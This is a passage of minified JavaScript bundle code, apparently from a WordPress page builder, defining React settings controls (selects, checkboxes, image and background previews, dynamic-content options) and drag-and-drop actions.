o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(34),c=n.n(u),d=n(27),p=n.n(d),f=n(7),h=n.n(f),m=n(17),g=n.n(m),v=n(8),b=n.n(v),y=n(32),_=n.n(y),k=n(10),w=n.n(k),C=n(29),E=n.n(C),O=n(2),S=n.n(O),T=n(85),M=n.n(T),x=n(175),P=n.n(x),j=n(95),L=n.n(j),N=n(1288),D=n(1289),A=(n(1331),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),F=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function I(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var R=function(t){function n(){var t,o,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);for(var i=arguments.length,a=Array(i),s=0;s<i;s++)a[s]=arguments[s];return o=r=I(this,(t=n.__proto__||Object.getPrototypeOf(n)).call.apply(t,[this].concat(a))),r.getGroupForSelected=function(){return e(r.node).find(":selected").parent().attr("label")},r._onChange=function(e){var t=r.props.name,n=r.getGroupForSelected(),o=r.props.overwrite_onchange,i=r.props.value_overwrite,a=e.target.value;n&&(S()(r,"props.parseGroupValue",!0)&&(a=n+"|"+a),r.props.group_prop&&r.props._onChange(r.props.group_prop,n)),r.props._onChange(t,a),o&&g()(o)&&i&&_()(i)&&c()(r.props.overwrite_onchange,function(e){h()(i[a])||r.props._onChange(e,i[a])})},I(r,o)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["PureComponent"]),F(n,[{key:"componentDidMount",value:function(){this.props.group_prop&&this.props._onChange(this.props.group_prop,this.getGroupForSelected())}},{key:"_render_options",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=E()(e),o=this.props;if(!b()(o.order)){var i=c()(o.order,String);n=M()(L()(i,n),P()(n,i))}return c()(n,function(n){var o=S()(e,n),i=n;return""!==t&&(i=t+"-"+n),r.a.createElement(N.a,{key:i,value:n,name:o})})}},{key:"render",value:function(){var e=this,t=p()(this.props.value)?this.props.value:this.props.default,n=void 0;!w()(E()(this.props.options),t)&&w()(E()(this.props.options),p()(t))&&(t=p()(t));var o={"et-core-control-select":!0,"et-fb-settings-option-select":!0};this.props.className&&(o[this.props.className]=!0),n=this.props.groups?c()(this.props.options,function(t,n){return"0"===n?e._render_options(t,n):r.a.createElement(D.a,{label:n,key:"option-group-"+n},e._render_options(t,n))}):this._render_options(this.props.options);var i={};this.props.readonly&&(i.disabled=!0);var a=this.props.id;return a||(a="et-fb-"+this.props.name),r.a.createElement("select",A({ref:function(t){return e.node=t},className:l()(o),value:t,name:this.props.name,id:a,onChange:this._onChange},i),n)}}]),n}();R.propTypes={name:a.a.string.isRequired},t.a=R}).call(this,n(24))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(8),l=n.n(s),u=n(15),c=n.n(u),d=n(225),p=n.n(d),f=n(34),h=n.n(f),m=n(199),g=n.n(m),v=n(84),b=n.n(v),y=n(7),_=n.n(y),k=n(49),w=n.n(k),C=n(476),E=n.n(C),O=n(37),S=n.n(O),T=n(0),M=(n(1286),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),x=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var P=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.shouldComponentUpdate=S.a.shouldComponentUpdate.bind(n),n._getDefaults=n._getDefaults.bind(n),n._getValue=n._getValue.bind(n),n._onChange=n._onChange.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),x(t,[{key:"_getDefaults",value:function(){var e=this.props.options,t=this.props.defaults;return _()(t)?h()(g()(b()(e)),function(){return"off"}):t}},{key:"_getValue",value:function(){var e=this._getDefaults(),t=this.props.value,n=_()(t)?e:h()(t.split("|"),function(e){return T.default.hasValue(e)?e:"off"});return b()(n)<b()(e)&&(n=c()(e,n)),n}},{key:"_onChange",value:function(e){var t=e.target.checked?"on":"off",n=e.target.getAttribute("data-index"),o=this._getValue();o[n]=t;var r=o.join("|");this.props._onChange(this.props.name,r)}},{key:"render",value:function(){var e=this,t=this._getValue(),n=this.props,o=n.options,i=n.name,a=n.shortcut_index,s=n.readonly,u={};s&&(u.readOnly=!0);var c="";return l()(o)||(c=p()(o).map(function(n,o){var s=w()(n)?n:n.value,l=w()(n)?n:n.label,c=w()(n)?"":"-"+E()(n.className),d="et-fb-multiple-checkbox-"+i+(a?"-"+a:"")+"-"+o,p=!_()(t[o])&&T.default.isOn(t[o]);return r.a.createElement("p",{key:d,className:"et-fb-multiple-checkbox"+c},r.a.createElement("label",{htmlFor:d},r.a.createElement("input",M({type:"checkbox",id:d,name:"et_fb_multiple_checkboxes["+o+"]",value:s,onChange:e._onChange,checked:p,"data-index":o},u))," ",l))})),r.a.createElement("div",{className:"et-fb-multiple-checkboxes-wrap"},c)}}]),t}();P.propTypes={options:a.a.oneOfType([a.a.array,a.a.object]),defaults:a.a.array,value:a.a.string,name:a.a.string,_onChange:a.a.func},t.a=P},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.END_DRAG=t.DROP=t.HOVER=t.PUBLISH_DRAG_SOURCE=t.BEGIN_DRAG=void 0;var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e};t.beginDrag=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{publishSource:!0,clientOffset:null},n=t.publishSource,o=t.clientOffset,s=t.getSourceClientOffset;(0,r.default)((0,i.default)(e),"Expected sourceIds to be an array.");var l=this.getMonitor(),c=this.getRegistry();(0,r.default)(!l.isDragging(),"Cannot call beginDrag while dragging.");for(var d=0;d<e.length;d++)(0,r.default)(c.getSource(e[d]),"Expected sourceIds to be registered.");for(var p=null,f=e.length-1;f>=0;f--)if(l.canDragSource(e[f])){p=e[f];break}if(null===p)return;var h=null;o&&((0,r.default)("function"==typeof s,"When clientOffset is provided, getSourceClientOffset must be a function."),h=s(p));var m=c.getSource(p).beginDrag(l,p);(0,r.default)((0,a.default)(m),"Item must be an object."),c.pinSource(p);var g=c.getSourceType(p);return{type:u,itemType:g,item:m,sourceId:p,clientOffset:o,sourceClientOffset:h,isSourcePublic:n}},t.publishDragSource=function(){if(!this.getMonitor().isDragging())return;return{type:c}},t.hover=function(e){var t=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).clientOffset,n=void 0===t?null:t;(0,r.default)((0,i.default)(e),"Expected targetIds to be an array.");var o=e.slice(0),a=this.getMonitor(),l=this.getRegistry();(0,r.default)(a.isDragging(),"Cannot call hover while not dragging."),(0,r.default)(!a.didDrop(),"Cannot call hover after drop.");for(var u=0;u<o.length;u++){var c=o[u];(0,r.default)(o.lastIndexOf(c)===u,"Expected targetIds to be unique in the passed array.");var p=l.getTarget(c);(0,r.default)(p,"Expected targetIds to be registered.")}for(var f=a.getItemType(),h=o.length-1;h>=0;h--){var m=o[h],g=l.getTargetType(m);(0,s.default)(g,f)||o.splice(h,1)}for(var v=0;v<o.length;v++){var b=o[v],y=l.getTarget(b);y.hover(a,b)}return{type:d,targetIds:o,clientOffset:n}},t.drop=function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=this.getMonitor(),i=this.getRegistry();(0,r.default)(n.isDragging(),"Cannot call drop while not dragging."),(0,r.default)(!n.didDrop(),"Cannot call drop twice during one drag operation.");var s=n.getTargetIds().filter(n.canDropOnTarget,n);s.reverse(),s.forEach(function(s,l){var u=i.getTarget(s),c=u.drop(n,s);(0,r.default)(void 0===c||(0,a.default)(c),"Drop result must either be an object or undefined."),void 0===c&&(c=0===l?{}:n.getDropResult()),e.store.dispatch({type:p,dropResult:o({},t,c)})})},t.endDrag=function(){var e=this.getMonitor(),t=this.getRegistry();(0,r.default)(e.isDragging(),"Cannot call endDrag while not dragging.");var n=e.getSourceId();return t.getSource(n,!0).endDrag(e,n),t.unpinSource(),{type:f}};var r=l(n(1277)),i=l(n(17)),a=l(n(32)),s=l(n(1304));function l(e){return e&&e.__esModule?e:{default:e}}var u=t.BEGIN_DRAG="dnd-core/BEGIN_DRAG",c=t.PUBLISH_DRAG_SOURCE="dnd-core/PUBLISH_DRAG_SOURCE",d=t.HOVER="dnd-core/HOVER",p=t.DROP="dnd-core/DROP",f=t.END_DRAG="dnd-core/END_DRAG"},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.addSource=function(e){return{type:o,sourceId:e}},t.addTarget=function(e){return{type:r,targetId:e}},t.removeSource=function(e){return{type:i,sourceId:e}},t.removeTarget=function(e){return{type:a,targetId:e}};var o=t.ADD_SOURCE="dnd-core/ADD_SOURCE",r=t.ADD_TARGET="dnd-core/ADD_TARGET",i=t.REMOVE_SOURCE="dnd-core/REMOVE_SOURCE",a=t.REMOVE_TARGET="dnd-core/REMOVE_TARGET"},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){0}},function(e,t,n){},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(4),l=n.n(s),u=n(22),c=n.n(u),d=n(15),p=n.n(d),f=n(69),h=n.n(f),m=n(11),g=n.n(m),v=n(8),b=n.n(v),y=n(7),_=n.n(y),k=n(10),w=n.n(k),C=n(29),E=n.n(C),O=n(114),S=n.n(O),T=n(46),M=n.n(T),x=n(191),P=n.n(x),j=n(2),L=n.n(j),N=n(478),D=n.n(N),A=n(0),F=n(35),I=n(1438),R=n(815),B=n(34),W=n.n(B),V=(n(1441),n(25)),H="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},G=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function U(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==(void 0===t?"undefined":H(t))&&"function"!=typeof t?e:t}var z=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=U(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.getStyle=function(){return{opacity:o.props.forward?Object(V.spring)(1,{stiffness:300,damping:20}):Object(V.spring)(0,{stiffness:300,damping:20}),scale:o.props.forward?Object(V.spring)(1,{stiffness:300,damping:20}):Object(V.spring)(0,{stiffness:300,damping:20}),top:o.props.forward?Object(V.spring)(14,{stiffness:300,damping:20}):Object(V.spring)(-10,{stiffness:300,damping:20})}},U(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+(void 0===t?"undefined":H(t)));e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),G(t,[{key:"render",value:function(){var e=this;return r.a.createElement(V.Motion,{style:this.getStyle()},function(t){return e.props.children({opacity:t.opacity,transform:"scale("+t.scale+")",top:t.top})})}}]),t}();z.propTypes={children:l.a.func.isRequired,forward:l.a.bool},z.defaultProps={forward:!0};var q=z,K=n(40),$=n(72),X=(n(1442),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var Y=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),X(t,[{key:"_renderPreview",value:function(){var e=this.props.dynamic.image;return e.loading?Object(F.l)("image"):b()(e.value)?r.a.createElement(K.a,{icon:"none",color:"#6e7b8a"}):r.a.createElement("img",{src:e.value,alt:""})}},{key:"render",value:function(){return r.a.createElement("div",{className:"et-fb-control-image-preview__preview et-fb-control-image-preview__preview--image"},this._renderPreview())}}]),t}();Y.propTypes={value:l.a.string.isRequired,dynamicEnabled:l.a.bool.isRequired};var J=Object($.b)(function(e){return{image:{attribute:"image",type:"image",value:e.value}}},function(e){return{_dynamic_attributes:e.dynamicEnabled?"image":""}})(Y),Q=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function Z(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var ee=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),a=0;a<r;a++)i[a]=arguments[a];return n=o=Z(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.getStyle=function(e,t){var n={backgroundImage:"url("+encodeURI(e)+")"};return t.parallax?p()(n,{backgroundRepeat:"no-repeat",backgroundSize:"cover",backgroundPosition:"center"}):(_()(t.position)||(n.backgroundPosition=t.position.replace("_"," ")),_()(t.color)||(n.backgroundColor=t.color),_()(t.blend)||(n.backgroundBlendMode=t.blend),_()(t.repeat)||(n.backgroundRepeat=t.repeat),_()(t.size)||(n.backgroundSize=t.size),t.gradient&&(e&&(n.backgroundColor="initial"),A.default.isOn(t.gradientOverlaysImage)?n.backgroundImage=t.gradient+", "+n.backgroundImage:n.backgroundImage=n.backgroundImage+", "+t.gradient),n)},Z(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),Q(t,[{key:"render",value:function(){var e=this.props.dynamic.image;return e.loading?r.a.createElement("div",{className:"et-fb-control-image-preview__preview et-fb-control-image-preview__preview--background"},Object(F.l)("image")):b()(e.value)?r.a.createElement("div",{className:"et-fb-control-image-preview__preview et-fb-control-image-preview__preview--background"},r.a.createElement(K.a,{icon:"none",color:"#FF0000"})):r.a.createElement("div",{className:"et-fb-control-image-preview__preview et-fb-control-image-preview__preview--background",style:this.getStyle(e.value,this.props.attributes)})}}]),t}();ee.propTypes={value:l.a.string.isRequired,attributes:l.a.object,dynamicEnabled:l.a.bool.isRequired},ee.defaultProps={attributes:{}};var te=Object($.b)(function(e){return{image:{attribute:"image",type:"image",value:e.value}}},function(e){return{_dynamic_attributes:e.dynamicEnabled?"image":""}})(ee),ne=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var oe=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleMouseEnter=function(){n.setState({isHovered:!0})},n.handleMouseMove=function(){n.state.isHovered||n.setState({isHovered:!0})},n.handleMouseLeave=function(){n.setState({isHovered:!1})},n.state={isHovered:!1},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),ne(t,[{key:"render",value:function(){var e=this;return r.a.createElement("div",{className:c()({"et-fb-control-image-preview":!0,"et-fb-control-image-preview--hovered":this.state.isHovered}),onMouseEnter:this.handleMouseEnter,onMouseMove:this.handleMouseMove,onMouseLeave:this.handleMouseLeave},"image"===this.props.mode?r.a.createElement(J,{value:this.props.value,dynamicEnabled:this.props.dynamicEnabled}):r.a.createElement(te,{value:this.props.value,attributes:this.props.attributes,dynamicEnabled:this.props.dynamicEnabled}),r.a.createElement("div",{className:"et-fb-control-image-preview__buttons"},W()(this.props.children,function(t,n){return r.a.createElement(q,{key:n,forward:e.state.isHovered},function(e){return r.a.createElement("div",{className:"et-fb-control-image-preview__button "+L()(t,"props.parentClassName",""),style:e},t)})})),this.props.label&&r.a.createElement("div",{className:"et-fb-control-image-preview__label"},this.props.label))}}]),t}();oe.propTypes={value:l.a.string.isRequired,label:l.a.string,mode:l.a.oneOf(["image","background"]),attributes:l.a.object,dynamicEnabled:l.a.bool.isRequired},oe.defaultProps={label:"",mode:"image",attributes:{}};var re=oe,ie=n(119),ae=n.n(ie),se=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var le=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),se(t,[{key:"componentDidMount",value:function(){ae.a.rebuild()}},{key:"render",value:function(){return r.a.createElement("button",{type:"button",className:"et-fb-settings-option-dynamic__button et-fb-settings-option-dynamic__button--"+this.props.type+" "+this.props.className,onClick:this.props.onClick,"data-tip":this.props.tooltip},r.a.createElement(K.a,{size:"14",icon:this.props.icon}))}}]),t}();le.propTypes={type:l.a.string.isRequired,icon:l.a.string.isRequired,tooltip:l.a.string,className:l.a.string,onClick:l.a.func},le.defaultProps={tooltip:"",className:"",onClick:M.a};var ue=le,ce=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var de=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,r.a.PureComponent),ce(t,[{key:"render",value:function(){var e=w()(["upload","background"],this.props.fieldType),t=b()(this.props.settingsFields)?null:r.a.createElement(ue,{type:this.props.fieldType,icon:"setting",tooltip:ETBuilderBackend.i18n.dynamicContent.tooltips.settings,onClick:this.props.onSettings}),n=this.props.showDisableButton?r.a.createElement(ue,{type:this.props.fieldType,parentClassName:this.props.showInheritButton?"et-fb-control-image-preview__button-remove":"",icon:"delete",tooltip:ETBuilderBackend.i18n.dynamicContent.tooltips.disable,onClick:this.props.onDisable}):null,o=this.props.showInheritButton?r.a.createElement(ue,{type:this.props.fieldType,parentClassName:"et-fb-control-image-preview__button-reset",icon:"reset",tooltip:ETBuilderBackend.i18n.dynamicContent.tooltips.reset,onClick:this.props.onInherit}):null;return r.a.createElement("div",{className:"et-fb-settings-option-dynamic__preview"},e?r.a.createElement(re,{value:this.props.value,label:this.props.label,mode:this.props.mode,attributes:this.props.attributes,dynamicEnabled:this.props.dynamicEnabled},t,n,o):r.a.createElement("div",{className:"et-fb-settings-option-dynamic__preview--text"},t,r.a.createElement("div",{className:"et-fb-settings-option-dynamic__label"},this.props.label),n))}}]),t}();de.propTypes={fieldType:l.a.string.isRequired,value:l.a.string.isRequired,label:l.a.string.isRequired,mode:l.a.oneOf(["image","background"]),attributes:l.a.object,settingsFields:l.a.object.isRequired,dynamicEnabled:l.a.bool.isRequired,onSettings:l.a.func,onDisable:l.a.func,onInherit:l.a.func},de.defaultProps={mode:"image",attributes:{},onSettings:M.a,onDisable:M.a,onInherit:M.a};var pe=de,fe=(n(1443),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function he(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function me(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var ge=A.default.condition("is_bfb"),ve=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),s=0;s<r;s++)i[s]=arguments[s];return n=o=me(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.selectRef=null,o.controlRef=null,o.buttonRef=null,o.state={settingsOpen:!1,classModifier:""},o.isTinyMCE=function(){return"tiny_mce"===L()(o,"props.fieldType")},o.handleEnable=function(){o.selectRef.toggleMenu({target:null})},o.handleDisable=function(){o.props.isContentField?o.props.onChange(o.props.fieldName,"",o.props.fieldType,o.props.isContentField):o.props.onReset(o.props.fieldName),o.handleEnabledDynamicAttributesChange(h()(o.props.dynamicAttributes,function(e){return o.props.fieldName!==e}))},o.handleInherit=function(){o.props.onInherit(o.props.fieldName),o.handleEnabledDynamicAttributesChange(h()(o.props.dynamicAttributes,function(e){return o.props.fieldName!==e}))},o.handleDynamicContentChange=function(e){o.props.onChange(o.props.fieldName,Object(F.b)({dynamic:!0,content:e,settings:o.getDynamicContentFieldDefaultSettings(e)}),o.props.fieldType,o.props.isContentField),-1===o.props.dynamicAttributes.indexOf(o.props.fieldName)&&o.handleEnabledDynamicAttributesChange(o.props.dynamicAttributes.concat([o.props.fieldName]))},o.openSettings=function(){var e=o.getDynamicContentSettingsFields(Object(F.d)(o.props.value).content,o.props.type);b()(e)||o.setState({settingsOpen:!0})},o.closeSettings=function(){o.setState({settingsOpen:!1})},o.handleSettingsChange=function(e){var t=Object(F.d)(o.props.value);o.props.onChange(o.props.fieldName,Object(F.b)(p()({},t,{settings:e})),o.props.fieldType,o.props.isContentField)},o.handleEnabledDynamicAttributesChange=function(e){o.props.onChange("_dynamic_attributes",e.join(","),"multiple_checkboxes",!1)},o.updateButtonPositionForTinyMCE=function(e){if(o.isTinyMCE()){o.setState({classModifier:"tinymce-mode-"+e});var t=A.default.$topWindow(a.a.findDOMNode(o.buttonRef)),n=A.default.$topWindow(a.a.findDOMNode(o.controlRef)),r=n.find(".mce-tinymce .mce-toolbar-grp").first().height(),i=Math.max(0,n.find(".et-fb-tinymce-media-buttons").first().height()-38),s=50+(r>0&&t.length>0?r:0)+i;t.css({top:s+"px"})}},o.isEnabledDynamicContent=function(e){var t=e.dynamicAttributes,n=e.fieldName,o=e.value;return w()(t,n)&&Object(F.g)(o)},o.getDynamicContentSettingsFields=function(e,t){var n=o.getDynamicContentField(e).fields||{};return P()(n,function(e){return!_()(e.show_on)&&e.show_on!==t})},me(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["PureComponent"]),fe(t,[{key:"getDynamicContentField",value:function(e){return ETBuilderBackend.dynamicContentFields[e]||{label:ETBuilderBackend.i18n.dynamicContent.invalidField,type:"text",fields:{}}}},{key:"getDynamicContentFieldLabel",value:function(e){if("post_meta_key"===e){var t=Object(F.d)(this.props.value).settings.meta_key||ETBuilderBackend.i18n.dynamicContent.manualCustomField;return D()(t)}return this.getDynamicContentField(e).label}},{key:"getDynamicContentFieldDefaultSettings",value:function(e){return S()(this.getDynamicContentField(e).fields,function(e){return e.default||""})}},{key:"getDynamicContentFieldOptions",value:function(e){var t={};return g()(ETBuilderBackend.dynamicContentFields,function(n,o){if("any"===n.type||n.type===e){var r=n.group?n.group:"Default";_()(t[r])&&(t[r]={}),t[r][o]=n.label}}),t}},{key:"componentDidMount",value:function(){A.default.$topWindow().on("wp-toolbar-toggle",this.updateButtonPositionForTinyMCE)}},{key:"componentDidUpdate",value:function(e){var t=Object(F.g)(e.value),n=this.isEnabledDynamicContent(e),o=this.isEnabledDynamicContent(this.props),r=this.props.fieldName===e.fieldName;if(!n&&o&&r){var i=Object(F.d)(this.props.value),a=this.getDynamicContentSettingsFields(i.content,this.props.type),s="text"===this.props.type?3:1;E()(a).length>=s&&this.openSettings()}t&&!o&&(_()(this.controlRef.focus)||this.controlRef.focus()),this.updateButtonPositionForTinyMCE()}},{key:"render",value:function(){var e,t=this,n=w()(["upload","background"],this.props.fieldType),i=this.isEnabledDynamicContent(this.props),a=Object(F.d)(this.props.value),s=this.getDynamicContentFieldOptions(this.props.type),l=!n||b()(this.props.value),u=r.a.cloneElement(this.props.children,{ref:function(e){return t.controlRef=e}});if(b()(s))return r.a.createElement(o.Fragment,null,this.props.children);var d="";if("ETBuilderControlTinyMCE"===u.type.displayName){u=r.a.cloneElement(u,{onModeSwitch:this.updateButtonPositionForTinyMCE});ge||b()(this.state.classModifier)||(this.props.modalWidth>=538&&this.props.modalWidth<998?d=this.state.classModifier+"-medium":this.props.modalWidth>=998&&this.props.modalWidth<1202&&(d=this.state.classModifier+"-wide"))}return r.a.createElement("div",{className:c()((e={"et-fb-settings-option-dynamic":!0},he(e,"et-fb-settings-option-dynamic--"+this.props.fieldType,!0),he(e,"et-fb-settings-option-dynamic--"+this.state.classModifier,this.state.classModifier),he(e,"et-fb-settings-option-dynamic--"+d,!!d),e))},i&&this.state.settingsOpen&&r.a.createElement(I.a,{title:this.getDynamicContentFieldLabel(a.content),fields:this.getDynamicContentSettingsFields(a.content,this.props.type),values:a.settings,onChange:this.handleSettingsChange,onClose:this.closeSettings}),i&&r.a.createElement(pe,{fieldType:this.props.fieldType,value:this.props.value,label:this.getDynamicContentFieldLabel(a.content),mode:this.props.previewMode,attributes:this.props.previewAttributes,settingsFields:this.props.showSettingsButton?this.getDynamicContentSettingsFields(a.content,this.props.type):{},showDisableButton:this.props.showDisableButton,showInheritButton:this.props.showInheritButton,dynamicEnabled:-1!==this.props.dynamicAttributes.indexOf(this.props.fieldName),onSettings:this.openSettings,onDisable:this.handleDisable,onInherit:this.handleInherit}),!i&&r.a.createElement(o.Fragment,null,r.a.createElement("div",{className:"et-fb-settings-option-select-discrete"},r.a.c